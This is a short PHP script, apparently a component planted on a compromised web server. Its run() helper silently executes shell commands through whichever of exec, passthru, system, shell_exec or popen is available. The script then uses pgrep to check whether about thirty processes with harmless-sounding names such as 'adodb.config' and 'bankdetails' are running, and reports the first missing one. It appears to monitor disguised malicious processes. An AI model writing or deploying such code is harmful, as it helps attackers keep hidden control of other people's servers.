<?php   $files = ['rateimage','adodb.config','sessionWrite','admin_enc_zend','lib_options_up','SLLists.class','bankdetails','personal_mess','userutility','editAdvisors','EmployerView','colos_form','confirmed','admin_header','workshop4','get_remote_data','status.inc','visualfoxpro','install_plugins','http_client','cc_eselect_form','blacklist','campaign','shopzilla','handlevirus','langconfig','data_bots','database_changes','masterCourses','subscribe']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }